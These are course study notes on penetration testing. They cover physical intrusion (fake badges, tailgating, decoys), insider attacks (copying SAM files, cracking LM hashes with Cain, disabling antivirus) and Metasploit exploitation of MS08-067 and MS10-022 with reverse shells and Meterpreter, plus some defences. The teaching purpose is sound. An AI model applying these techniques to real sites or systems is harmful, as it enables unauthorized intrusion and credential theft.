

Module - 2

Physical Penetration Attacks: Need of Physical Penetration, Conducting a Physical Penetration, Common Ways into a Building, Defending Against Physical Penetrations.

Insider Attacks: Conducting an Insider Attack, Defending Against Insider Attacks.

Metasploit: The Big Picture, Getting Metasploit, Using the Metasploit Console to Launch Exploits, Exploiting Client-Side Vulnerabilities with Metasploit, Penetration Testing with Metasploit's Meterpreter, Automating and Scripting Metasploit, Going Further with Metasploit.

Textbook: Ch. 5, Ch. 6, Ch. 8,

Physical Penetration Attacks

1. Introduction to Physical Penetration Testing

- **Purpose:** To access a target organization's data network infrastructure from *inside* its border controls.
- **Ease of Access:** Often easier to achieve objectives from inside than from outside.
- **Relevance:** Physical access is increasingly common in cybercrime, particularly for identity theft through personal private information theft.
- **Difficulty Variation:** Breaching perimeter controls varies based on the sophistication of systems (e.g., biometric locks) and procedures.

- **Procedure Importance:** Even sophisticated systems can be bypassed if procedures are relaxed or improperly followed. Conversely, seemingly open environments can be difficult if personnel are well-trained.
- **Gray Hat Hacker's Role:** Must accurately assess the environment. If noticed, the entire penetration test can be compromised.
- **Skills Required:** Frequently requires good social engineering skills.
- **Attack Opportunities:** Once inside, attack opportunities are abundant.

2. Why a Physical Penetration Is Important

- **"Crunchy on the outside, soft on the inside" Analogy:** Many corporate networks have strong external security but weak internal controls.
- **Prevalence:** This architecture is still common.
- **Damage Assessment:** Important to determine potential damage from a determined attacker, even if not tech-savvy.
- **Value of Information:** Personal private information (financial, transaction data) is valuable to various criminals.
- **Attack Origin:** Attacks are not always remote; local attacks can be highly effective and devastating.
- **Client Awareness:** Clients (CIOs, IT directors) often overlook physical penetration scenarios unless they've been victims. It's the gray hat hacker's responsibility to explain its benefits.
- **Client Acceptance:** Most clients readily embrace physical penetration testing once they understand its value.

3. Conducting a Physical Penetration

- **Timing:** Attacks are designed for *normal business hours* to test controls, procedures, and personnel simultaneously.
- **Why Not After Hours?**
 - **Dangerous:** Risk of armed response or attack dogs.
 - **Ineffective:** Only tests physical access controls.
 - **Serious Consequences:** Higher risk of detention or arrest if caught.
- **Client Contact:** Always have a contact within the organization who is aware of your activities and can vouch for you if caught.

- **Agreement:** Agree on a time window for activities.
- **Client Behavior:** Ask the client to act as if they don't know you if encountered on premises (they are not part of the test).
- **Preparation:** Once groundwork is laid, begin planning and preparations.

4. Reconnaissance for Physical Penetration

- **Pre-Attack Study:** Study any potential target before attempting.
- **Tools:**
 - **Digital:** Google Maps, Google Earth for physical entities.
 - **Physical:** Assess the site in person beforehand.
- **Photography:** If possible, photograph potential entrances without drawing attention.
- **Access Control Assessment:** Get close enough to determine physical access controls (e.g., swipe cards, codes, biometrics).
- **Entrance Types:**
 - **Front Entrance:** Usually most heavily guarded but also most used (opportunity).
 - **Secondary Entrances:** Smokers' doors, loading docks, freight elevators, service entrances often offer good ingress.
- **Satellite Imagery:** Smoking doors and loading docks can sometimes be seen on public satellite imagery.
- **On-Site Survey:**
 - Observe entry/exit patterns (swipe cards, codes).
 - Note details (e.g., loading dock doors left open).
 - Examine front door/lobby (e.g., send a team member to drop off menus to gauge security sophistication).
- **Security Observation:** Note if guards watch computer screens with photo IDs, or if they "buzz" people in. Be aware you may be remembered or on camera.
- **Blending In for Close Assessment:**
 - **Contractor Ruse:** Measure utility poles behind a fenced yard (posing as phone/electric company).
 - **Grounds Maintenance:** Spray shrubs with water around the perimeter with a pump sprayer.

- **Lunch Break:** Eat lunch with grounds crew to observe closely and potentially gather info through small talk.
- **Employee Information:** Learn about employee dress code and security ID badges.
 - **Badge Observation:** Look at badges in local businesses (lunch/coffee spots) to note orientation, logos, photos, text color/size, chips/magnetic stripes.
- **Badge Facsimile:** Create a convincing fake badge using a color printer and office supplies. Find corporate logos online. Use a similar badge holder.

5. Mental Preparation

- **Stress Management:** Practice managing stressful and confrontational situations.
- **Confidence:** Be calm and confident to avoid suspicion. Your confidence can determine if an inquisitive employee is satisfied or escalates.
- **Mindset:** Convince yourself you're "working for them," "on the same team," "not doing anything wrong," and "allowed to be there" to blend in.
- **Practice Questions:** Practice answers to common questions with a partner (e.g., "Are you new?", "Who are you working for?", "Are you lost?").
- **Quick Thinking:** Be prepared to think on your feet for unexpected questions.

6. Common Ways into a Building

- **Focus:** Likely successful physical penetration scenarios. (Does not cover attacks once inside, which are in Chapter 6).

6.1. The Smokers' Door

- **Opportunity:** Secondary entrance, often near smoking areas, may or may not have a card reader, sometimes propped open. Active area, used for specific purpose, good for unnoticed entry.
- **Requirements:** Pack of cigarettes, lighter, convincing ID badge.
- **Approach:**
 - Park nearby to observe traffic flow.
 - Dress as if you just left your desk for a break.
 - Conceal all necessary items.
 - Be prepared for small talk.

- **Entry Tactic:** Wait until no one is near, walk up visibly holding cigarettes (implies returning from car). If door locked, wait for it to open, grab it, toss butt, nod, enter.
- **Busy Traffic:** May need to smoke a cigarette (can be faked). Be ready to explain your presence, who you work for, etc.
- **Accomplice:** Use an accomplice for distraction (e.g., a pre-arranged signal for a phone call to interrupt a conversation).
- **Unattended Door:** If propped open, walk in, but still act like you're returning from your car and pretend to smoke (for security cameras). Avoid rushing.

6.2. Manned Checkpoints

- **Scenario:** Guard desk or reception in a lobby. Visitors may need to check in and get a visitor badge.
- **Location:** Often between lobby doors and elevators in multi-floor buildings. May involve turnstiles or mantraps in high-security areas.

6.2.1. Multitenant Building Lobby Security

- **Procedure:** Sign in, present photo ID, explain visit. Guard calls contact, confirms appointment, directs to elevator. May involve badge scanner.
- **Visitor Badge:** Often adhesive paper badge that changes color over time to show expiration.
- **Subversion Tactics:**
 - **Reconnaissance:** Make a legitimate appointment with another tenant to observe the process and visitor badge type.
 - **Badge Reuse/Facsimile:** Peel off badge to slow expiration, or create a printed facsimile (looks convincing from short distance).
 - **Floor Identification:** Use public resources (Google, company websites, online property leases) to find target's floor.
 - **Bag Checks/Scanners:** Use visitor badge to bypass front desk by going directly to bag checker (each assumes the other cleared you).
 - **Crowd Entry:** If no turnstiles, enter during high-volume traffic (start of day, end of lunch) with a convincing employee/visitor badge.

- **Choke Points/Vetting:** If guards check credentials closely, arrange an appointment with another tenant. After the appointment, remove visitor badge and use fake company ID badge to access target's floor (since few processes require notifying security when a visitor leaves).
- **Elevator Observation:** If unsure of floor, follow someone with a target company badge, press top floor, observe their exit, then get off on their floor on the way down.
- **Target Floor Entry:** Easier to enter an employee-only floor (regular, locked, unmanned door) than a main reception desk (special doors, receptionist, waiting area).

6.2.2. Campus-Style or Single-Tenant Buildings

- **Security:** Company's own security personnel and procedures.
- **Visitor Badge:** Harder to test/reuse as you can't test on another tenant, and you'll likely be escorted out with badge collection.
- **Team Approach:** Best defeated as a team with distractions.
- **Checkpoint Types:** Locked lobby with guard/key card, or open lobby with desk.
- **Lunch Hour Tactic (Decoys):**
 - Attempt during lunch hour (high traffic).
 - Use decoys (equal to number of guards) to engage guards.
 - Entrant poses as returning employee (dressed appropriately, carrying lunch, wearing fake badge).
 - Decoy rings bell, feigns appointment; guard lets them in while trying to verify.
 - Decoy holds door for entrant, who may feign a card swipe and peels off to elevator/stairs.
 - Joining a group helps.
 - If multiple guards, use more decoys.
 - **Locked Interior Door:** Decoy(s) occupy guard, entrant tailgates through locked door. Carrying a cumbersome load (e.g., multiple lunch orders) can encourage someone to hold the door.
- **Access:** Once past the lobby checkpoint, usually have access to the entire building.

6.3. Mantraps

- **Definition:** Two-door entry system where entrant is trapped between doors if authentication fails.
- **Subversion:** Cannot be directly subverted (requires functional credentials, PIN, or biometrics).
- **Strategy:** Not a viable direct entry point for this type of testing. Find another way in or talk your way past as a visitor.

6.4. Locked Doors

- **Expectation:** Expect to encounter locked doors when going to unauthorized areas.
- **Subversion Methods:** Picking, bumping, or shimmying physical locks (demonstrated in this section, but not detailed in text).
- **Biometric Locks:** Difficult and time-consuming to subvert directly. Low-tech approach: wait for someone to open it or give a convincing reason for them to open it.

6.5. The Unmanned Foyer

- **Scenario:** Stuck between elevators and locked office doors on an employee-only floor.
- **Entry Method:** Wait for an employee to leave or arrive and use their key card.
- **Loitering Justification:** Be prepared with a convincing reason for waiting.
 - **Feigned Phone Call:** Appear to be finishing a conversation before entering; buys time.
- **Door Access:** Position near door. When employee exits/enters, grab door before it closes or use foot to prevent latching.
- **Deterring Inquiry:** Conversing on a mobile phone can deter employees from asking about your presence, as long as you look in place and your badge is convincing.
- **Pre-Answering Questions:** Gray hat hacker must visually "pre-answer" questions in an employee's mind without speaking.

Biometric Locks

- **Direct Subversion:** Directly bypassing biometric locks (e.g., fingerprint, retina scanners) is **difficult, time-consuming, and typically beyond the scope** of the basic penetration testing discussed.

- **Low-Tech Bypass:** The recommended approach for biometric access control is to use social engineering or opportunistic tactics:
 - **Wait for someone to open it:** Simply wait for an authorized person to use their biometric access.
 - **Give a convincing reason:** Provide a plausible story or excuse to persuade an authorized person to open the door for you.

The Unmanned Foyer

- **Scenario:** This describes being in an area (like a lobby or between elevators) where there are locked office doors, but no security personnel actively monitoring.
- **Challenge:** Gaining entry into the offices beyond these locked doors.
- **Primary Method:** Waiting for an employee to either:
 - Leave the office to take the elevator.
 - Arrive on the elevator and use their key card to open the door.
- **Maintaining Cover:** While waiting, you must have a convincing reason for your presence (e.g., feigning a phone call to appear busy and legitimate). This helps deter employees from questioning you and buys time.
- **Gaining Entry when Door Opens:**
 - **Exiting Employee:** As an employee exits, grab the door before it closes completely and keep walking.
 - **Entering Employee:** As an employee arrives and unlocks the door, grab the door handle or use your foot to prevent it from closing and latching. This creates a gap for you to slip through.
- **Psychological Deterrent:** Conversing on a mobile phone can make employees less likely to interrupt you, especially if you look like you belong and your fake ID badge is convincing.
- **Pre-Answering Questions:** A key social engineering tactic is to act in a way that "pre-answers" any questions an employee might have about your presence, without needing to speak.

Chapter 6: Insider Attacks - Detailed Notes

6.1. Introduction to Insider Attacks

- **Context:** Builds upon social engineering and physical attacks, which focus on gaining access *behind* primary border defenses.
- **Definition:** Attacking from the perspective of someone who *already has access* to the target's information systems (an insider).
- **Purpose of Testing:** Assess the effectiveness of security controls protecting assets on the local network.
- **Common Factor in Crimes:** Unauthorized insider access is a common factor in:
 1. Identity theft
 2. Intellectual property theft
 3. Stolen customer lists
 4. Stock manipulation
 5. Espionage
 6. Acts of revenge or sabotage
- **Actors:** Often privileged network users, but can also be minimal-privilege or temporary accounts (e.g., for identity theft).
- **Benefits of Insider Perspective:**
 1. Learn details about overall security posture not discoverable from external-only tests.
 2. Even in large companies, insiders represent a smaller field of attackers than the public Internet.
 3. Potential for damage by insiders is demonstrably greater.
 4. Insiders typically have working knowledge of company security controls, processes, and data storage locations.

6.2. Why Simulating an Insider Attack Is Important

- **Self-Evident Importance:** Assessing vulnerability from the inside is crucial.
- **Employee Trust:** Hired employees are essentially strangers tasked with sensitive data; background checks don't guarantee against theft or misuse.
- **Risk vs. Privilege:** Higher user privilege levels incur more risk for the company.

- **Security Spending:** Companies invest heavily in security controls and processes to manage access to information assets.
- **Lack of Testing:** Most companies *do not* test these internal systems/processes unless:
 - They are in a regulated industry (e.g., banking).
 - They have already been victims of an insider attack.
- **Internal Testing Risk:** Many companies assign internal testing to highly privileged employees, who actually pose the greatest risk.
- **True Understanding:** To truly understand insider vulnerability, an independent third party must test internal controls.

6.3. Conducting an Insider Attack

- **Tools & Techniques:** Can be accomplished using familiar tools and techniques (as found in this book).
- **Key Difference:** Working *inside* the target company at a pre-specified employee privilege level, with a network account.
- **Work Environment:** May work in a private place (initially) or in the open with other employees.
 - **Private:** Undisturbed work.
 - **Open:** Quicker understanding of security procedures.
- **Cover Story:** Must be able to explain your presence to curious coworkers. This is less stressful than external social engineering because you have legitimate (though covert) employment. A simple "consulting" explanation usually suffices.
- **Realism:** The fewer people aware of your true activities (e.g., help desk, system administrators), the more realistic the test. Aware staff might monitor closely or provide specially prepared equipment.
- **Hypothetical Example:** Gaining domain administrator rights from a minimal-privilege Windows domain user account (e.g., "MBryce" at "ComHugeCo Ltd.") to access sensitive information.

6.3.1 Tools and Preparation for Insider Attacks

- **Equipment:** Best to work from equipment supplied by the target organization.
- **Knowledge Level:** Start with very little knowledge of existing security controls.
- **Preparedness:** Arrive with all necessary tools on removable media (USB drive, CD) as downloading from outside may be difficult/noticed (content filters, NSM/IDS alerts for binary downloads from hacking sites or unfamiliar IPs).

- **Bootable Media:** Have bootable media (Linux distribution like Offline NT Password and Registry Editor) to access systems and networks at higher privilege levels if the provided equipment is locked down (hardened, centrally controlled).
- **Extreme Cases:** For fully locked CMOS and full disk encryption, consider bringing your own hard drive with a prepared OS to boot from and access the target drive as secondary.
- **Stealth:** Having tools readily available helps stay "under the radar."

6.3.2 Orientation (Initial Reconnaissance from Inside)

- **Common Configuration:** Windows workstation (PC or laptop) on a wired LAN, using Windows domain login.
- **Initial Steps:**
 - Log in with the provided domain account.
 - "Browse" the network using Windows File Explorer.
 - Observe available Windows domains and mapped drives to file servers.
 - Look for servers with descriptive names (e.g., "HR," "Engineering") indicating sensitive information.
- **Goal:** Understand the bounds of your current account and get a general view of the network before escalating privileges.

6.3.3 Gaining Local Administrator Privileges

- **Target:** Local operating system's built-in highly privileged accounts (e.g., "Administrator" account, or renamed accounts). These are almost always in the "Administrators" group.
- **Identifying Administrators:** Use the command `net localgroup Administrators` from the command prompt.
- **Other Privileged Accounts:** Help desk and system administration groups often have their own privileged accounts.
- **Easiest Access:** Resetting the Administrator password.
- **Challenge:** Cannot reset password while OS is running without knowing the existing password, as the SAM file (containing password hashes) is protected.
- **Risks of Live Exploits:** Exploits to access the SAM file while Windows is running may trigger enterprise antivirus alerts.

- **Password Hashes:** Dumping the SAM file only provides hashes, which then need to be cracked.

- **Preferred Method (Offline):** Remove the Administrator password altogether by booting the system from removable media (CD/USB) using the **Offline NT Password and Registry Editor** tool. This also allows collecting the SAM file and hashes for later cracking.

A. Using Offline NT Password and Registry Editor

- **Tool Type:** Stripped-down Linux version with a menu-driven interface.
- **Default Action:** By default, it guides you through removing the Administrator account password.

- **Boot Order:** Most computers boot from removable media first. If not, check for a boot menu option during power-up (e.g., ESC key for Phoenix BIOS).

- **Password-Protected Boot Menu:** If the boot menu is password-protected, consider:
 - Dumping the SAM file with a live exploit (e.g., `pwdump7`).
 - Installing your own hard drive as primary and accessing the target Windows drive as secondary to recover the SAM file.

- **Steps:**
 - **Step One (Select Drive):** Tool presents a list of drives and guesses the Windows OS location. It also detects inserted USB drives. Press ENTER for default.

- **Step Two (Find SAM File):** Tool guesses SAM file location (e.g., `WINDOWS/system32/config`). Press ENTER for default.

- **Important: Copy SAM/SECURITY files:** Before continuing, press ALT-F2 to open a pseudo-terminal. Mount the USB drive (`mount /dev/sdb1 /mnt`). Copy SAM and SECURITY files to USB (`cp /drive/WINDOWS/system32/config/SAM /mnt`, `cp /drive/WINDOWS/system32/config/SECURITY /mnt`). Verify copy with `ls /mnt`. Return to menu with ALT-F1.

- **Step Three (Edit User Data):** Tool lists accounts from SAM file. Administrator account is usually selected by default.

- **Remove Password:** The default option is to clear (blank) the user password. This is recommended over resetting to a new password to avoid SAM file corruption. Press ENTER.

- **Step Four (Write Changes):** Confirm writing changes back to the file system. Press ENTER.

- **Reboot:** Remove CD/USB, reboot. You can now log in as local Administrator with no password.

B. Recovering the Administrator Password (Cracking Hashes)

- **LM Hash Presence:** Often, the LAN Manager (LM) hash for the Administrator account is still present on the local machine.

- **Exploitability:** This hash can be easily cracked to reveal the password.

- **Reusability:** This password is often not unique and may work on a group of computers on the target network, granting significant control.

- **Cracking Options (on client site):**

- Bring rainbow tables and cracking software on a large USB hard drive.

- Use a dictionary attack with tools like Cain or L0phtCrack.

- Take the SAM file back to your office to crack overnight.

- Send the SAM file (encrypted!) to an offsite team member.

- **Sending Hashes Offsite:** Presents risk of detection by security personnel or advanced controls.

Strongly encrypt files to obscure contents and protect from interception/disclosure.

- **Example (Using Cain):** Once local Administrator access is gained (no password), use Cain with rainbow tables from a USB hard drive.

6.3.4 Disabling Antivirus (AV)

- **Problem:** Gray hat tools like Cain are often detected by AV products, potentially triggering alerts to AV managers.

- **Methods to Disable AV:**

- **Uninstall:** May require booting into Safe Mode.

- **Rename Files/Directories:** From an alternative OS (Linux) that can mount NTFS in read/write mode (e.g., Ubuntu, Knoppix). This prevents AV from loading.

- **Suspend Processes:** Use Sysinternals Process Explorer (`procexp`) to identify and suspend AV-related processes.

- **Finding AV:** Usually has a user-level component (tray icon, Programs menu entry).

- **Simple Removal:** May be removable via "Add or Remove Programs" in Control Panel.

- **Responsibility:** After removing AV, you are responsible for the computer's safety and behavior on the network. Risk is minimal if not performing high-risk activities (browsing, email).
- **Safe Mode:** Limits loaded applications, often negating active protective controls of AV, allowing uninstallation.
- **Enterprise AV Challenges:** Centralized application controllers may push AV back onto workstations if not detected. Suspending processes is a temporary solution for this.
- **Process Explorer Usage:** Right-click desired process, select `Suspend`. To resume, right-click, select `Restart`.
- **Post-Work:** Must remove your tools *before* restarting AV processes, or their presence may be reported as an incident.

Recovering Password with Cain

- **Load Cain:** Install `ca_setup.exe` (WinPcap is optional for this task).
- **Cain's Capabilities (for this test):**
 - a. Recover Administrator password from SAM file.
 - b. Identify key users and computers on the network.
 - c. Locate and control computers with the same local Administrator password.
 - d. Add account to Domain Administrators group.
- **Steps:**
 1. Go to **Cracker tab**.
 2. Right-click in empty workspace, select **Add to List**.
 3. Select "Import Hashes from a SAM Database" radio button.
 4. Select the recovered SAM file from the removable drive.
 5. **Get Boot Key:** Click `...` next to "Boot Key (HEX)" text box, then "Local System Boot Key" button. Copy the displayed key.
 6. Paste the key into "Boot Key (HEX)" text box. Click **Next**. Account names and hashes appear.
 7. **Perform Cryptanalysis:** Right-click in Cracker section, select `Cryptanalysis Attack | LM Hashes | via RainbowTables (RainbowCrack)`.
 8. Select rainbow table files from USB device.
 9. After processing, found passwords appear next to account names. Lock icon changes to keys.

- **Next Step:** Change the local Administrator password back on the machine (if desired) to identify other machines using the same password.

Identifying Who's Who (Network Reconnaissance with Cain)

- **Cain's Capabilities:**
 - Identify available domains, domain controllers, database servers.
 - Identify non-Windows resources (e.g., Novell NetWare file servers).
 - View workstation and server machine names.
- **Naming Conventions:** Companies often use consistent naming conventions.
- **Information Gathering:** Naming conventions can help identify resources likely storing sensitive information (e.g., "paychex" server).

6.3.5 Raising Cain (Installation and Usage)

- **Installation:** Execute `ca_setup.exe` from USB/CD.
- **WinPcap:** Optional (not needed for password sniffing/MitM in this simulated attack).
- **Primary Function:** Cain is primarily a password auditing tool.
- **Key Features (for this chapter's purpose):**
 1. Recover Administrator password from SAM file.
 2. Identify key users and computers on the network.
 3. Locate and control computers using the same local Administrator password.
 4. Add your account to the Domain Administrators group.

Defending Against Insider Attacks

In order for a company to defend itself against an insider attack, it must first give up the notion that attacks only come from the outside. The most damaging attacks often come from within, yet access controls and policies on the internal LAN often lag far behind border controls and Internet use policy.

Beyond recognizing the immediate threat, perhaps the most single useful defense against the attack scenario described in this chapter is to eliminate LM hashes from both the domain and the

local SAM files. With LM hashes present on the local workstation and shared local Administrator passwords, an attack such as this can be carried out very quickly. Without the LM hashes, the attack would take much longer and the grayhat penetration testers would have to take more risks to achieve their goals, increasing the chances that someone will notice.

In addition to eliminating LM hashes, the following will be effective in defending against the insider attack described in this chapter:

- Disable or centrally manage USB devices
- Configure CMOS to only boot from the hard drive
- Password protect CMOS setup and disable/password protect the boot menu
- Limit descriptive information in user accounts, computer names, and computer descriptions
- Develop a formulaic system of generating local Administrator passwords so each one is unique yet can be arrived at without a master list
- Regularly search all systems on the network for blank local Administrator passwords
- Any addition to the Domain Admins or other highly privileged group should generate a notice to other admins, this may require third-party software or customized scripts.

Chapter 8: Using Metasploit

1. Metasploit: The Big Picture

- **Definition:** A free, downloadable framework for acquiring, developing, and launching exploits for computer software vulnerabilities.
- **Impact (2003 Release by H.D. Moore):** Revolutionized computer security by making exploits for unpatched/recently patched vulnerabilities widely accessible. Forced software vendors to fix vulnerabilities faster.
- **Original Design:** Exploit development platform.
- **Current Primary Use:** "Point, click, root" environment for launching pre-included exploits.

2. Getting Metasploit

- **Supported Platforms:** Natively runs on Linux, BSD, Mac OS X, Windows (via Cygwin), Nokia N900, jailbroken Apple iPhones.
- **Acquisition:**
 - Enlist in the development source tree for the latest copy.
 - Use packaged installers from www.metasploit.com/framework/download/.
- **Windows Installer:** May take time as it includes dependencies like Cygwin, Ruby, Subversion, VNCViewer, WinVI, Nmap, WinPcap.

3. Using the Metasploit Console to Launch Exploits

- **Starting Console:** `$. /msfconsole`
- **Initial Commands:**
 - `show <exploits|payloads>`: Lists available exploits or payloads.
 - `info <exploit|payload> <name>`: Provides details about a specific exploit or payload.
 - `use <exploit-name>`: Selects an exploit module.
 - `help` or `?`: Displays all other commands.

3.1. Example: Exploiting MS08-067 (Conficker Vulnerability)

- **Target:** Unpatched Windows XP machine.
- **Goal:** Get a remote command shell.
- **Metasploit Capability:** Can pair any Windows exploit with any Windows payload (e.g., open shell, create admin, start VNC).
- **Finding the Exploit:**
 - `msf > search ms08-067`
 - Identifies `windows/smb/ms08_067_netapi`.
- **Selecting the Exploit:**
 - `msf > use windows/smb/ms08_067_netapi`
 - Prompt changes to `msf exploit (ms08_067_netapi) >` (enters "exploit mode").
 - Options/variables set in this mode are retained.
 - `back`: Returns to the main console.
- **Showing Exploit Options:**
 - `msf exploit (ms08_067_netapi) > show options`
 - **Key Module Options:**
 - `RHOST`: The target address (required).
 - `RPORT`: SMB service port (default 445, required).
 - `SMBPIPE`: Pipe name to use (BROWSER, SRVSVC, required).
- **Setting Exploit Options:**
 - `set <OPTION-NAME> <option>` (e.g., `set RHOST 192.168.1.6`).
 - *Note:* Older Metasploit versions were case-sensitive for option names.

3.2. Setting the Payload

- **Payload Definition:** The action that occurs after the vulnerability is exploited (how to interact with the compromised machine).
- **Searching Payloads:**
 - `msf exploit (ms08_067_netapi) > search "Windows Command Shell"`
 - Lists various Windows command shell payloads (bind, reverse, IPv6, inline, staged, DNS).
- **Payload Types:**
 - **Bind Shell:** Opens a listener on the *target* host, allowing the attacker to connect to it.
 - **Reverse Shell:** Causes the compromised host to "phone home" (connect back) to the *attacking* workstation. Useful for targets behind firewalls.
- **Example: Bind Shell (`windows/shell/bind_tcp`)**

- msf exploit (ms08_067_netapi) > set PAYLOAD windows/shell/bind_tcp
- **Payload Options:**
 - EXITFUNC: Exit technique (seh, thread, process, required).
 - LPORT: The local port the *target* will listen on (default 4444, required).
 - RHOST: The target address (not required for bind shell payload options, but required for module options).
- **Executing the Exploit:**
 - msf exploit (ms08_067_netapi) > exploit
 - Metasploit automatically detects target (e.g., Windows XP SP2).
 - Sends stage to target.
 - Command shell session 1 opened indicates success.
 - Can verify connection on target using netstat -ano | findstr 4444 | findstr ESTABLISHED.

3.3. Session Management

- **Backgrounding a Session:** CTRL-Z (then y to confirm).
- **Listing Active Sessions:** sessions -l or sessions -l
- **Interacting with a Session:** sessions -i <session ID> (e.g., sessions -i 1). Press ENTER if no prompt immediately.

3.4. Example: Reverse Shell (windows/shell/reverse_tcp)

- **Setting Payload:**
 - msf exploit (ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp
- **Additional Required Option:**
 - LHOST: The local address (IP of the *attacking machine*) that the victim will connect back to (required).
 - set LHOST 192.168.1.4
- **Executing Exploit:**
 - msf exploit (ms08_067_netapi) > exploit
 - Started reverse handler on 192.168.1.4:4444
 - Command shell session 2 opened (new session).

4. Exploiting Client-Side Vulnerabilities with Metasploit

- **Context:** Addresses targets protected by firewalls, where direct external attacks are difficult.
- **Concept:** Vulnerabilities in client software (web browsers, email apps, media players).
- **Attack Flow:** Attacker lures victim to a malicious website or tricks them into opening a malicious file/email. Victim's interaction with attacker-controlled content triggers the vulnerability.
- **Firewall Bypass:** Connections are initiated *by the victim*, allowing them to "sail right through the firewall."
- **Metasploit's Role:** Includes many browser-based exploits and can act as a rogue web server to host them.

4.1. Example: MS10-022 (Internet Explorer VBScript)

- **Prerequisite:** Victim machine must have security update MS10-022 removed.
- **Finding Exploit:**
 - `msf > search ms10_022`
 - Identifies `windows/browser/ms10_022_ie_vbscript_winhlp32`.
- **Selecting Exploit:**
 - `msf > use windows/browser/ms10_022_ie_vbscript_winhlp32`
- **Showing Options:**
 - `msf exploit (ms10_022_ie_vbscript_winhlp32) > show options`
 - **Additional Module Options (for web server functionality):**
 - **SRVHOST:** The local host to listen on (default 0.0.0.0, required).
 - **SRVPORT:** The daemon port to listen on (default 80, required).
 - **SSL:** Negotiate SSL (false by default, not required).
 - **SSLVersion:** Specify SSL version (not required).
 - **URIPATH:** The URI to use (default /, required). This is the path the victim will visit (e.g., `/you_win.htm`).
- **Setting Payload (Reverse Shell):**
 - `set PAYLOAD windows/shell_reverse_tcp`
 - `set LHOST 192.168.0.211` (attacker's IP).
- **Executing Exploit:**
 - `msf exploit (ms10_022_ie_vbscript_winhlp32) > exploit`
 - Exploit running as background job.
 - Started reverse handler on 192.168.0.211:4444
 - Using URL: `http://0.0.0.0:80/` (or `http://<Local IP>:80/`).
 - Metasploit waits for incoming HTTP connections. When a vulnerable workstation visits the URL, it presents the exploit.
 - Command shell session 1 opened (victim compromised).
- **Managing Jobs:**
 - `jobs:` Lists active exploit jobs.
 - `jobs -K:` Stops all active jobs.
- **Benefit:** Allows attacking workstations protected by firewalls.

5. Penetration Testing with Metasploit's Meterpreter

- **Limitation of Command Shells:** While useful, a basic command prompt often lacks flexibility. Creating new processes can also be noisy.
- **Meterpreter's Role:** A highly flexible and stealthy command interpreter payload.
- **Key Features:**
 - **Injected into Memory:** Injected directly into the memory of the exploited process.
 - **No Disk Hit:** Never writes to disk on the victim host; everything is in process memory.
 - **No New Process:** Does not create additional processes, reducing detection.
 - **Consistent Feature Set:** Provides uniform functionality across different exploited platforms.
 - **Extensible:** New features can be loaded on-the-fly by uploading DLLs to the target system's memory.

5.1. Example: MS10-022 with Meterpreter Payload

- **Reuse Exploit:** Uses the same MS10-022 browser-based exploit.
- **Setting Payload:**
 - `msf exploit (ms10_022_ie_vbscript_winhlp32) > set PAYLOAD windows/meterpreter/reverse_tcp`
- **Module Options:** Same as before (SRVHOST, SRVPORT, URIPATH).
- **Payload Options:** Same as reverse shell (EXITFUNC, LHOST, LPORT).
- **Executing Exploit:**
 - `msf exploit (ms10_022_ie_vbscript_winhlp32) > exploit`
 - Meterpreter session 3 opened (indicates success).
- **Interacting with Meterpreter:**
 - `sessions -i 3`
 - Prompt changes to meterpreter >.
- **Meterpreter Commands:** Use `help` to list built-in Meterpreter commands (extensive list).

6. Automating and Scripting Metasploit

Metasploit, while powerful for manual exploitation, also offers robust capabilities for automation and scripting. This allows penetration testers to streamline repetitive tasks, build custom workflows, and integrate Metasploit into larger security testing pipelines.

6.1 Why Automate Metasploit?

- **Efficiency:** Automate repetitive tasks (e.g., scanning, module configuration, exploitation) to save time.
- **Consistency:** Ensure the same steps are followed every time, reducing human error.
- **Scalability:** Perform operations across many targets simultaneously.
- **Customization:** Create tailored workflows for specific testing scenarios.
- **Integration:** Connect Metasploit with other tools and scripts.
- **Reporting:** Automate data collection for post-exploitation analysis and reporting.

2. Built-in Scripting: Resource Scripts (.rc files)

- **Concept:** Simple text files containing a sequence of `msfconsole` commands.
- **Purpose:** Execute a series of commands automatically upon startup or on demand.
- **Creation:** Can be created manually with a text editor or by saving the command history from `msfconsole` using the `makerc` command.
 - `makerc <filename.rc>`: Saves current session commands to a file.
- **Execution:**
 - `msfconsole -r <filename.rc>`: Run a resource script when starting `msfconsole`.
 - `resource <filename.rc>`: Run a resource script from within an active `msfconsole` session.
- **Use Cases:**
 - Setting up common global options.
 - Loading frequently used modules.
 - Running a series of scans and basic exploits.

- Automating post-exploitation module execution.
- **Limitations:** Primarily for sequential command execution; lacks complex logic, loops, or conditional statements.

3. Msfconsole Commands for Automation

Beyond `resource` and `makerc`, several `msfconsole` commands aid automation:

- **setg / unsetg:** Set/unset global options that persist across modules, useful for consistent `LHOST`, `LPORT`, etc.
- **save:** Saves the current global options to the configuration file, so they persist across `msfconsole` restarts.
- **spool:** Logs `msfconsole` output to a file, useful for capturing results.
 - `spool /path/to/logfile.txt`
 - `spool off`
- **sessions:** Manage active sessions (list, interact, kill). Can be scripted to interact with multiple compromised hosts.
- **jobs:** Manage background tasks (list, kill).
- **route:** Set up routing through compromised hosts for pivoting.
- **db_nmap / db_import:** Integrate Nmap scan results or other data into Metasploit's database for easier target management and module selection.
- **run:** Executes auxiliary modules or post-exploitation modules.

4. External Scripting: Ruby and Python

For more complex automation, external scripting languages are used to interact with the Metasploit Framework.

7. Going Further with Metasploit: Advanced Concepts

Metasploit is an incredibly deep framework, and mastering it involves moving beyond basic exploitation to understanding its advanced features, integration capabilities, and how to adapt it to complex real-world scenarios. Here's a breakdown of how to "go further" with Metasploit:

1. Advanced Post-Exploitation

Once you've gained initial access (a shell or Meterpreter session), post-exploitation is about what you do next to achieve your objectives.

- **Information Gathering:**
 - **System Information:** Collect details about the OS, hardware, installed software, running processes, network configurations.
 - **User Information:** Enumerate users, groups, password policies.
 - **Network Recon:** Discover other hosts on the internal network, open ports, services.
- **Privilege Escalation:**

- **Local Exploits:** Use Metasploit's `exploit/windows/local` or `exploit/linux/local` modules to leverage vulnerabilities in the target OS to gain higher privileges (e.g., Administrator, SYSTEM, root).
- **Configuration Weaknesses:** Look for misconfigurations, weak service permissions, unquoted service paths, or insecure file/registry permissions.
- **Kernel Exploits:** Exploit vulnerabilities in the operating system kernel.
- **Hash Dumping & Password Cracking:**
 - **SAM/LSA Secrets:** Extract password hashes from Windows (SAM database, LSA secrets).
 - **Mimikatz:** Use Meterpreter's `kiwi` (Mimikatz) extension to dump cleartext passwords, NTLM hashes, Kerberos tickets, etc., from memory.
